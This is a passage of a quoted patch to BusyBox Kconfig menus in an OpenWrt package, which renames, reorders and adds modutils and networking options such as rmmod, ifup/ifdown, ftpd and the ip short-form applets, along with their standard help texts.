> -	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  rmmod is used to unload specified modules from the kernel.
> -
>   config BUSYBOX_CONFIG_LSMOD
>   	bool "lsmod"
>   	default BUSYBOX_DEFAULT_LSMOD
> -	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  lsmod is used to display a list of loaded modules.
> @@ -86,17 +61,35 @@ config BUSYBOX_CONFIG_LSMOD
>   config BUSYBOX_CONFIG_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
>   	bool "Pretty output"
>   	default BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
> -	depends on BUSYBOX_CONFIG_LSMOD
> +	depends on BUSYBOX_CONFIG_LSMOD && !BUSYBOX_CONFIG_MODPROBE_SMALL
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  This option makes output format of lsmod adjusted to
>   	  the format of module-init-tools for Linux kernel 2.6.
>   	  Increases size somewhat.
> +config BUSYBOX_CONFIG_MODINFO
> +	bool "modinfo"
> +	default BUSYBOX_DEFAULT_MODINFO
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Show information about a Linux Kernel module
> +config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
> +	bool "Accept module options on modprobe command line"
> +	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
> +	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Allow insmod and modprobe take module options from command line.
>   
> +config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
> +	bool "Skip loading of already loaded modules"
> +	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
> +	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
> +	help
> +	  Check if the module is already loaded.
>   config BUSYBOX_CONFIG_MODPROBE
>   	bool "modprobe"
>   	default BUSYBOX_DEFAULT_MODPROBE
> -	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Handle the loading of modules, and their dependencies on a high
> @@ -105,7 +98,7 @@ config BUSYBOX_CONFIG_MODPROBE
>   config BUSYBOX_CONFIG_FEATURE_MODPROBE_BLACKLIST
>   	bool "Blacklist support"
>   	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_BLACKLIST
> -	depends on BUSYBOX_CONFIG_MODPROBE
> +	depends on BUSYBOX_CONFIG_MODPROBE && !BUSYBOX_CONFIG_MODPROBE_SMALL
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Say 'y' here to enable support for the 'blacklist' command in
> @@ -113,16 +106,12 @@ config BUSYBOX_CONFIG_FEATURE_MODPROBE_BLACKLIST
>   	  blacklisted modules. This is useful if you want to prevent your
>   	  hardware autodetection scripts to load modules like evdev, frame
>   	  buffer drivers etc.
> -
> -config BUSYBOX_CONFIG_DEPMOD
> -	bool "depmod"
> -	default BUSYBOX_DEFAULT_DEPMOD
> -	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
> +config BUSYBOX_CONFIG_RMMOD
> +	bool "rmmod"
> +	default BUSYBOX_DEFAULT_RMMOD
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
> -	  depmod generates modules.dep (and potentially modules.alias
> -	  and modules.symbols) that contain dependency information
> -	  for modprobe.
> +	  rmmod is used to unload specified modules from the kernel.
>   
>   comment "Options common to multiple modutils"
>   
> diff --git a/package/utils/busybox/config/networking/Config.in b/package/utils/busybox/config/networking/Config.in
> index 407ddd3..bc2f127 100644
> --- a/package/utils/busybox/config/networking/Config.in
> +++ b/package/utils/busybox/config/networking/Config.in
> @@ -6,183 +6,6 @@
>   
>   menu "Networking Utilities"
>   
> -config BUSYBOX_CONFIG_NAMEIF
> -	bool "nameif"
> -	default BUSYBOX_DEFAULT_NAMEIF
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> -	help
> -	  nameif is used to rename network interface by its MAC address.
> -	  Renamed interfaces MUST be in the down state.
> -	  It is possible to use a file (default: /etc/mactab)
> -	  with list of new interface names and MACs.
> -	  Maximum interface name length: IFNAMSIZ = 16
> -	  File fields are separated by space or tab.
> -	  File format:
> -	  # Comment
> -	  new_interface_name    XX:XX:XX:XX:XX:XX
> -
> -config BUSYBOX_CONFIG_FEATURE_NAMEIF_EXTENDED
> -	bool "Extended nameif"
> -	default BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
> -	depends on BUSYBOX_CONFIG_NAMEIF
> -	help
> -	  This extends the nameif syntax to support the bus_info, driver,
> -	  phyaddr selectors. The syntax is compatible to the normal nameif.
> -	  File format:
> -	    new_interface_name  driver=asix bus=usb-0000:00:08.2-3
> -	    new_interface_name  bus=usb-0000:00:08.2-3 00:80:C8:38:91:B5
> -	    new_interface_name  phy_address=2 00:80:C8:38:91:B5
> -	    new_interface_name  mac=00:80:C8:38:91:B5
> -	    new_interface_name  00:80:C8:38:91:B5
> -config BUSYBOX_CONFIG_NBDCLIENT
> -	bool "nbd-client"
> -	default BUSYBOX_DEFAULT_NBDCLIENT
> -	help
> -	  Network block device client
> -config BUSYBOX_CONFIG_NC
> -	bool "nc"
> -	default BUSYBOX_DEFAULT_NC
> -	help
> -	  A simple Unix utility which reads and writes data across network
> -	  connections.
> -
> -config BUSYBOX_CONFIG_NC_SERVER
> -	bool "Netcat server options (-l)"
> -	default BUSYBOX_DEFAULT_NC_SERVER
> -	depends on BUSYBOX_CONFIG_NC
> -	help
> -	  Allow netcat to act as a server.
> -
> -config BUSYBOX_CONFIG_NC_EXTRA
> -	bool "Netcat extensions (-eiw and -f FILE)"
> -	default BUSYBOX_DEFAULT_NC_EXTRA
> -	depends on BUSYBOX_CONFIG_NC
> -	help
> -	  Add -e (support for executing the rest of the command line after
> -	  making or receiving a successful connection), -i (delay interval for
> -	  lines sent), -w (timeout for initial connection).
> -
> -config BUSYBOX_CONFIG_NC_110_COMPAT
> -	bool "Netcat 1.10 compatibility (+2.5k)"
> -	default BUSYBOX_DEFAULT_NC_110_COMPAT  # off specially for Rob
> -	depends on BUSYBOX_CONFIG_NC
> -	help
> -	  This option makes nc closely follow original nc-1.10.
> -	  The code is about 2.5k bigger. It enables
> -	  -s ADDR, -n, -u, -v, -o FILE, -z options, but loses
> -	  busybox-specific extensions: -f FILE.
> -config BUSYBOX_CONFIG_PING
> -	bool "ping"
> -	default BUSYBOX_DEFAULT_PING
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  ping uses the ICMP protocol's mandatory ECHO_REQUEST datagram to
> -	  elicit an ICMP ECHO_RESPONSE from a host or gateway.
> -
> -config BUSYBOX_CONFIG_PING6
> -	bool "ping6"
> -	default BUSYBOX_DEFAULT_PING6
> -	depends on BUSYBOX_CONFIG_FEATURE_IPV6 && BUSYBOX_CONFIG_PING
> -	help
> -	  This will give you a ping that can talk IPv6.
> -
> -config BUSYBOX_CONFIG_FEATURE_FANCY_PING
> -	bool "Enable fancy ping output"
> -	default BUSYBOX_DEFAULT_FEATURE_FANCY_PING
> -	depends on BUSYBOX_CONFIG_PING
> -	help
> -	  Make the output from the ping applet include statistics, and at the
> -	  same time provide full support for ICMP packets.
> -config BUSYBOX_CONFIG_WGET
> -	bool "wget"
> -	default BUSYBOX_DEFAULT_WGET
> -	help
> -	  wget is a utility for non-interactive download of files from HTTP
> -	  and FTP servers.
> -
> -config BUSYBOX_CONFIG_FEATURE_WGET_STATUSBAR
> -	bool "Enable a nifty process meter (+2k)"
> -	default BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
> -	depends on BUSYBOX_CONFIG_WGET
> -	help
> -	  Enable the transfer progress bar for wget transfers.
> -
> -config BUSYBOX_CONFIG_FEATURE_WGET_AUTHENTICATION
> -	bool "Enable HTTP authentication"
> -	default BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
> -	depends on BUSYBOX_CONFIG_WGET
> -	help
> -	  Support authenticated HTTP transfers.
> -
> -config BUSYBOX_CONFIG_FEATURE_WGET_LONG_OPTIONS
> -	bool "Enable long options"
> -	default BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
> -	depends on BUSYBOX_CONFIG_WGET && BUSYBOX_CONFIG_LONG_OPTS
> -	help
> -	  Support long options for the wget applet.
> -
> -config BUSYBOX_CONFIG_FEATURE_WGET_TIMEOUT
> -	bool "Enable timeout option -T SEC"
> -	default BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
> -	depends on BUSYBOX_CONFIG_WGET
> -	help
> -	  Supports network read and connect timeouts for wget,
> -	  so that wget will give up and timeout, through the -T
> -	  command line option.
> -
> -	  Currently only connect and network data read timeout are
> -	  supported (i.e., timeout is not applied to the DNS query). When
> -	  FEATURE_WGET_LONG_OPTIONS is also enabled, the --timeout option
> -	  will work in addition to -T.
> -
> -config BUSYBOX_CONFIG_FEATURE_WGET_OPENSSL
> -	bool "Try to connect to HTTPS using openssl"
> -	default BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
> -	depends on BUSYBOX_CONFIG_WGET
> -	help
> -	  Choose how wget establishes SSL connection for https:// URLs.
> -
> -	  Busybox itself contains no SSL code. wget will spawn
> -	  a helper program to talk over HTTPS.
> -
> -	  OpenSSL has a simple SSL client for debug purposes.
> -	  If you select "openssl" helper, wget will effectively call
> -	  "openssl s_client -quiet -connect IP:443 2>/dev/null"
> -	  and pipe its data through it.
> -	  Note inconvenient API: host resolution is done twice,
> -	  and there is no guarantee openssl's idea of IPv6 address
> -	  format is the same as ours.
> -	  Another problem is that s_client prints debug information
> -	  to stderr, and it needs to be suppressed. This means
> -	  all error messages get suppressed too.
> -	  openssl is also a big binary, often dynamically linked
> -	  against ~15 libraries.
> -
> -config BUSYBOX_CONFIG_FEATURE_WGET_SSL_HELPER
> -	bool "Try to connect to HTTPS using ssl_helper"
> -	default BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
> -	depends on BUSYBOX_CONFIG_WGET
> -	help
> -	  Choose how wget establishes SSL connection for https:// URLs.
> -
> -	  Busybox itself contains no SSL code. wget will spawn
> -	  a helper program to talk over HTTPS.
> -
> -	  ssl_helper is a tool which can be built statically
> -	  from busybox sources against a small embedded SSL library.
> -	  Please see networking/ssl_helper/README.
> -	  It does not require double host resolution and emits
> -	  error messages to stderr.
> -
> -	  Precompiled static binary may be available at
> -	  http://busybox.net/downloads/binaries/
> -config BUSYBOX_CONFIG_WHOIS
> -	bool "whois"
> -	default BUSYBOX_DEFAULT_WHOIS
> -	help
> -	  whois is a client for the whois directory service
> -
>   config BUSYBOX_CONFIG_FEATURE_IPV6
>   	bool "Enable IPv6 support"
>   	default BUSYBOX_DEFAULT_FEATURE_IPV6
> @@ -230,7 +53,6 @@ config BUSYBOX_CONFIG_ARP
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Manipulate the system ARP cache.
> -
>   config BUSYBOX_CONFIG_ARPING
>   	bool "arping"
>   	default BUSYBOX_DEFAULT_ARPING
> @@ -264,37 +86,26 @@ config BUSYBOX_CONFIG_FEATURE_BRCTL_SHOW
>   	help
>   	  Add support for option which prints the current config:
>   	    show
> -
>   config BUSYBOX_CONFIG_DNSD
>   	bool "dnsd"
>   	default BUSYBOX_DEFAULT_DNSD
>   	help
>   	  Small and static DNS server daemon.
> -
>   config BUSYBOX_CONFIG_ETHER_WAKE
>   	bool "ether-wake"
>   	default BUSYBOX_DEFAULT_ETHER_WAKE
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Send a magic packet to wake up sleeping machines.
> -
> -config BUSYBOX_CONFIG_FAKEIDENTD
> -	bool "fakeidentd"
> -	default BUSYBOX_DEFAULT_FAKEIDENTD
> -	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> -	help
> -	  fakeidentd listens on the ident port and returns a predefined
> -	  fake value on any query.
> -
>   config BUSYBOX_CONFIG_FTPD
>   	bool "ftpd"
>   	default BUSYBOX_DEFAULT_FTPD
>   	help
>   	  simple FTP daemon. You have to run it via inetd.
>   
> -config BUSYBOX_CONFIG_FEATURE_FTP_WRITE
> +config BUSYBOX_CONFIG_FEATURE_FTPD_WRITE
>   	bool "Enable upload commands"
> -	default BUSYBOX_DEFAULT_FEATURE_FTP_WRITE
> +	default BUSYBOX_DEFAULT_FEATURE_FTPD_WRITE
>   	depends on BUSYBOX_CONFIG_FTPD
>   	help
>   	  Enable all kinds of FTP upload commands (-w option)
> @@ -310,13 +121,12 @@ config BUSYBOX_CONFIG_FEATURE_FTPD_ACCEPT_BROKEN_LIST
>   	  it increases the code size by ~40 bytes.
>   	  Most other ftp servers seem to behave similar to this.
>   
> -config BUSYBOX_CONFIG_FEATURE_FTP_AUTHENTICATION
> +config BUSYBOX_CONFIG_FEATURE_FTPD_AUTHENTICATION
>   	bool "Enable authentication"
> -	default BUSYBOX_DEFAULT_FEATURE_FTP_AUTHENTICATION
> +	default BUSYBOX_DEFAULT_FEATURE_FTPD_AUTHENTICATION
>   	depends on BUSYBOX_CONFIG_FTPD
>   	help
>   	  Enable basic system login as seen in telnet etc.
> -
>   config BUSYBOX_CONFIG_FTPGET
>   	bool "ftpget"
>   	default BUSYBOX_DEFAULT_FTPGET
> @@ -335,13 +145,17 @@ config BUSYBOX_CONFIG_FEATURE_FTPGETPUT_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_LONG_OPTS && (BUSYBOX_CONFIG_FTPGET || BUSYBOX_CONFIG_FTPPUT)
>   	help
>   	  Support long options for the ftpget/ftpput applet.
> -
>   config BUSYBOX_CONFIG_HOSTNAME
>   	bool "hostname"
>   	default BUSYBOX_DEFAULT_HOSTNAME
>   	help
>   	  Show or set the system's host name.
>   
> +config BUSYBOX_CONFIG_DNSDOMAINNAME
> +	bool "dnsdomainname"
> +	default BUSYBOX_DEFAULT_DNSDOMAINNAME
> +	help
> +	  Alias to "hostname -d".
>   config BUSYBOX_CONFIG_HTTPD
>   	bool "httpd"
>   	default BUSYBOX_DEFAULT_HTTPD
> @@ -460,7 +274,6 @@ config BUSYBOX_CONFIG_FEATURE_HTTPD_GZIP
>   	help
>   	  Makes httpd send files using GZIP content encoding if the
>   	  client supports it and a pre-compressed <file>.gz exists.
> -
>   config BUSYBOX_CONFIG_IFCONFIG
>   	bool "ifconfig"
>   	default BUSYBOX_DEFAULT_IFCONFIG
> @@ -508,7 +321,6 @@ config BUSYBOX_CONFIG_FEATURE_IFCONFIG_BROADCAST_PLUS
>   	help
>   	  Setting this will make ifconfig attempt to find the broadcast
>   	  automatically if the value '+' is used.
> -
>   config BUSYBOX_CONFIG_IFENSLAVE
>   	bool "ifenslave"
>   	default BUSYBOX_DEFAULT_IFENSLAVE
> @@ -516,20 +328,18 @@ config BUSYBOX_CONFIG_IFENSLAVE
>   	help
>   	  Userspace application to bind several interfaces
>   	  to a logical interface (use with kernel bonding driver).
> -
>   config BUSYBOX_CONFIG_IFPLUGD
>   	bool "ifplugd"
>   	default BUSYBOX_DEFAULT_IFPLUGD
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Network interface plug detection daemon.
> -
> -config BUSYBOX_CONFIG_IFUPDOWN
> -	bool "ifupdown"
> -	default BUSYBOX_DEFAULT_IFUPDOWN
> +config BUSYBOX_CONFIG_IFUP
> +	bool "ifup"
> +	default BUSYBOX_DEFAULT_IFUP
>   	help
> -	  Activate or deactivate the specified interfaces. This applet makes
> -	  use of either "ifconfig" and "route" or the "ip" command to actually
> +	  Activate the specified interfaces. This applet makes use
> +	  of either "ifconfig" and "route" or the "ip" command to actually
>   	  configure network interfaces. Therefore, you will probably also want
>   	  to enable either IFCONFIG and ROUTE, or enable
>   	  FEATURE_IFUPDOWN_IP and the various IP options. Of
> @@ -540,10 +350,16 @@ config BUSYBOX_CONFIG_IFUPDOWN
>   	  "ifconfig", "route" and "run-parts" or the "ip" command, either
>   	  via busybox or via standalone utilities.
>   
> +config BUSYBOX_CONFIG_IFDOWN
> +	bool "ifdown"
> +	default BUSYBOX_DEFAULT_IFDOWN
> +	help
> +	  Deactivate the specified interfaces.
> +
>   config BUSYBOX_CONFIG_IFUPDOWN_IFSTATE_PATH
>   	string "Absolute path to ifstate file"
>   	default BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH
> -	depends on BUSYBOX_CONFIG_IFUPDOWN
> +	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
>   	help
>   	  ifupdown keeps state information in a file called ifstate.
>   	  Typically it is located in /var/run/ifstate, however
> @@ -552,69 +368,39 @@ config BUSYBOX_CONFIG_IFUPDOWN_IFSTATE_PATH
>   	  This config option defines location of ifstate.
>   
>   config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP
> -	bool "Use ip applet"
> +	bool "Use ip tool (else ifconfig/route is used)"
>   	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP
> -	depends on BUSYBOX_CONFIG_IFUPDOWN
> +	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
>   	help
>   	  Use the iproute "ip" command to implement "ifup" and "ifdown", rather
> -	  than the default of using the older 'ifconfig' and 'route' utilities.
> -
> -config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP_BUILTIN
> -	bool "Use busybox ip applet"
> -	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP_BUILTIN
> -	depends on BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	select BUSYBOX_CONFIG_IP
> -	select BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
> -	select BUSYBOX_CONFIG_FEATURE_IP_LINK
> -	select BUSYBOX_CONFIG_FEATURE_IP_ROUTE
> -	help
> -	  Use the busybox iproute "ip" applet to implement "ifupdown".
> +	  than the default of using the older "ifconfig" and "route" utilities.
>   
> -	  If left disabled, you must install the full-blown iproute2
> -	  utility or the  "ifup" and "ifdown" applets will not work.
> -
> -config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN
> -	bool "Use busybox ifconfig and route applets"
> -	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN
> -	depends on BUSYBOX_CONFIG_IFUPDOWN && !BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP
> -	select BUSYBOX_CONFIG_IFCONFIG
> -	select BUSYBOX_CONFIG_ROUTE
> -	help
> -	  Use the busybox iproute "ifconfig" and "route" applets to
> -	  implement the "ifup" and "ifdown" utilities.
> +	  If Y: you must install either the full-blown iproute2 package
> +	  or enable "ip" applet in Busybox, or the "ifup" and "ifdown" applets
> +	  will not work.
>   
> -	  If left disabled, you must install the full-blown ifconfig
> -	  and route utilities, or the  "ifup" and "ifdown" applets will not
> -	  work.
> +	  If N: you must install either the full-blown ifconfig and route
> +	  utilities, or enable these applets in Busybox.
>   
>   config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IPV4
>   	bool "Support for IPv4"
>   	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV4
> -	depends on BUSYBOX_CONFIG_IFUPDOWN
> +	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
>   	help
>   	  If you want ifup/ifdown to talk IPv4, leave this on.
>   
>   config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IPV6
>   	bool "Support for IPv6"
>   	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV6
> -	depends on BUSYBOX_CONFIG_IFUPDOWN && BUSYBOX_CONFIG_FEATURE_IPV6
> +	depends on (BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN) && BUSYBOX_CONFIG_FEATURE_IPV6
>   	help
>   	  If you need support for IPv6, turn this option on.
>   
> -### UNUSED
> -###config FEATURE_IFUPDOWN_IPX
> -###	bool "Support for IPX"
> -###	default y
> -###	depends on IFUPDOWN
> -###	help
> -###	  If this option is selected you can use busybox to work with IPX
> -###	  networks.
>   
>   config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_MAPPING
>   	bool "Enable mapping support"
>   	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_MAPPING
> -	depends on BUSYBOX_CONFIG_IFUPDOWN
> +	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
>   	help
>   	  This enables support for the "mapping" stanza, unless you have
>   	  a weird network setup you don't need it.
> @@ -622,13 +408,12 @@ config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_MAPPING
>   config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_EXTERNAL_DHCP
>   	bool "Support for external dhcp clients"
>   	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_EXTERNAL_DHCP
> -	depends on BUSYBOX_CONFIG_IFUPDOWN
> +	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
>   	help
>   	  This enables support for the external dhcp clients. Clients are
>   	  tried in the following order: dhcpcd, dhclient, pump and udhcpc.
>   	  Otherwise, if udhcpc applet is enabled, it is used.
>   	  Otherwise, ifup/ifdown will have no support for DHCP.
> -
>   config BUSYBOX_CONFIG_INETD
>   	bool "inetd"
>   	default BUSYBOX_DEFAULT_INETD
> @@ -678,7 +463,6 @@ config BUSYBOX_CONFIG_FEATURE_INETD_RPC
>   	select BUSYBOX_CONFIG_FEATURE_HAVE_RPC
>   	help
>   	  Support Sun-RPC based services
> -
>   config BUSYBOX_CONFIG_IP
>   	bool "ip"
>   	default BUSYBOX_DEFAULT_IP
> @@ -688,24 +472,72 @@ config BUSYBOX_CONFIG_IP
>   	  utility. You generally don't need "ip" to use busybox with
>   	  TCP/IP.
>   
> +config BUSYBOX_CONFIG_IPADDR
> +	bool "ipaddr"
> +	default BUSYBOX_DEFAULT_IPADDR
> +	select BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Support short form of ip addr: ipaddr
> +
> +config BUSYBOX_CONFIG_IPLINK
> +	bool "iplink"
> +	default BUSYBOX_DEFAULT_IPLINK
> +	select BUSYBOX_CONFIG_FEATURE_IP_LINK
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Support short form of ip link: iplink
> +
> +config BUSYBOX_CONFIG_IPROUTE
> +	bool "iproute"
> +	default BUSYBOX_DEFAULT_IPROUTE
> +	select BUSYBOX_CONFIG_FEATURE_IP_ROUTE
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Support short form of ip route: iproute
> +
> +config BUSYBOX_CONFIG_IPTUNNEL
> +	bool "iptunnel"
> +	default BUSYBOX_DEFAULT_IPTUNNEL
> +	select BUSYBOX_CONFIG_FEATURE_IP_TUNNEL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Support short form of ip tunnel: iptunnel
> +
> +config BUSYBOX_CONFIG_IPRULE
> +	bool "iprule"
> +	default BUSYBOX_DEFAULT_IPRULE
> +	select BUSYBOX_CONFIG_FEATURE_IP_RULE
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Support short form of ip rule: iprule
> +
> +config BUSYBOX_CONFIG_IPNEIGH
> +	bool "ipneigh"
> +	default BUSYBOX_DEFAULT_IPNEIGH
> +	select BUSYBOX_CONFIG_FEATURE_IP_NEIGH
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Support short form of ip neigh: ipneigh
> +
>   config BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
>   	bool "ip address"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_ADDRESS
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPADDR
>   	help
>   	  Address manipulation support for the "ip" applet.
>   
>   config BUSYBOX_CONFIG_FEATURE_IP_LINK
>   	bool "ip link"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_LINK
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPLINK
>   	help
>   	  Configure network devices with "ip".
>   
>   config BUSYBOX_CONFIG_FEATURE_IP_ROUTE
>   	bool "ip route"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_ROUTE
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPROUTE
>   	help
>   	  Add support for routing table management to "ip".
>   
> @@ -719,80 +551,33 @@ config BUSYBOX_CONFIG_FEATURE_IP_ROUTE_DIR
>   config BUSYBOX_CONFIG_FEATURE_IP_TUNNEL
>   	bool "ip tunnel"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_TUNNEL
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPTUNNEL
>   	help
>   	  Add support for tunneling commands to "ip".
>   
>   config BUSYBOX_CONFIG_FEATURE_IP_RULE
>   	bool "ip rule"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_RULE
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPRULE
>   	help
>   	  Add support for rule commands to "ip".
>   
>   config BUSYBOX_CONFIG_FEATURE_IP_NEIGH
>   	bool "ip neighbor"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_NEIGH
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPNEIGH
>   	help
>   	  Add support for neighbor commands to "ip".
>   
> -config BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS
> -	bool "Support short forms of ip commands"
> -	default BUSYBOX_DEFAULT_FEATURE_IP_SHORT_FORMS
> -	depends on BUSYBOX_CONFIG_IP
> -	help
> -	  Also support short-form of ip <OBJECT> commands:
> -	  ip addr   -> ipaddr
> -	  ip link   -> iplink
> -	  ip route  -> iproute
> -	  ip tunnel -> iptunnel
> -	  ip rule   -> iprule
> -	  ip neigh  -> ipneigh
> -
> -	  Say N unless you desparately need the short form of the ip
> -	  object commands.
> -
>   config BUSYBOX_CONFIG_FEATURE_IP_RARE_PROTOCOLS
>   	bool "Support displaying rarely used link types"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPADDR || BUSYBOX_CONFIG_IPLINK || BUSYBOX_CONFIG_IPROUTE || BUSYBOX_CONFIG_IPTUNNEL || BUSYBOX_CONFIG_IPRULE || BUSYBOX_CONFIG_IPNEIGH
>   	help
>   	  If you are not going to use links of type "frad", "econet",
>   	  "bif" etc, you probably don't need to enable this.
>   	  Ethernet, wireless, infrared, ppp/slip, ip tunnelling
>   	  link types are supported without this option selected.
> -
> -config BUSYBOX_CONFIG_IPADDR
> -	bool
> -	default BUSYBOX_DEFAULT_IPADDR
> -	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
> -
> -config BUSYBOX_CONFIG_IPLINK
> -	bool
> -	default BUSYBOX_DEFAULT_IPLINK
> -	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_LINK
> -
> -config BUSYBOX_CONFIG_IPROUTE
> -	bool
> -	default BUSYBOX_DEFAULT_IPROUTE
> -	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_ROUTE
> -
> -config BUSYBOX_CONFIG_IPTUNNEL
> -	bool
> -	default BUSYBOX_DEFAULT_IPTUNNEL
> -	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_TUNNEL
> -
> -config BUSYBOX_CONFIG_IPRULE
> -	bool
> -	default BUSYBOX_DEFAULT_IPRULE
> -	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_RULE
> -
> -config BUSYBOX_CONFIG_IPNEIGH
> -	bool
> -	default BUSYBOX_DEFAULT_IPNEIGH
> -	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_NEIGH
> -
>   config BUSYBOX_CONFIG_IPCALC
>   	bool "ipcalc"
>   	default BUSYBOX_DEFAULT_IPCALC
> @@ -814,13 +599,84 @@ config BUSYBOX_CONFIG_FEATURE_IPCALC_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_IPCALC && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the ipcalc applet.
> +config BUSYBOX_CONFIG_FAKEIDENTD
> +	bool "fakeidentd"
> +	default BUSYBOX_DEFAULT_FAKEIDENTD
> +	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> +	help
> +	  fakeidentd listens on the ident port and returns a predefined
> +	  fake value on any query.
> +config BUSYBOX_CONFIG_NAMEIF
> +	bool "nameif"
> +	default BUSYBOX_DEFAULT_NAMEIF
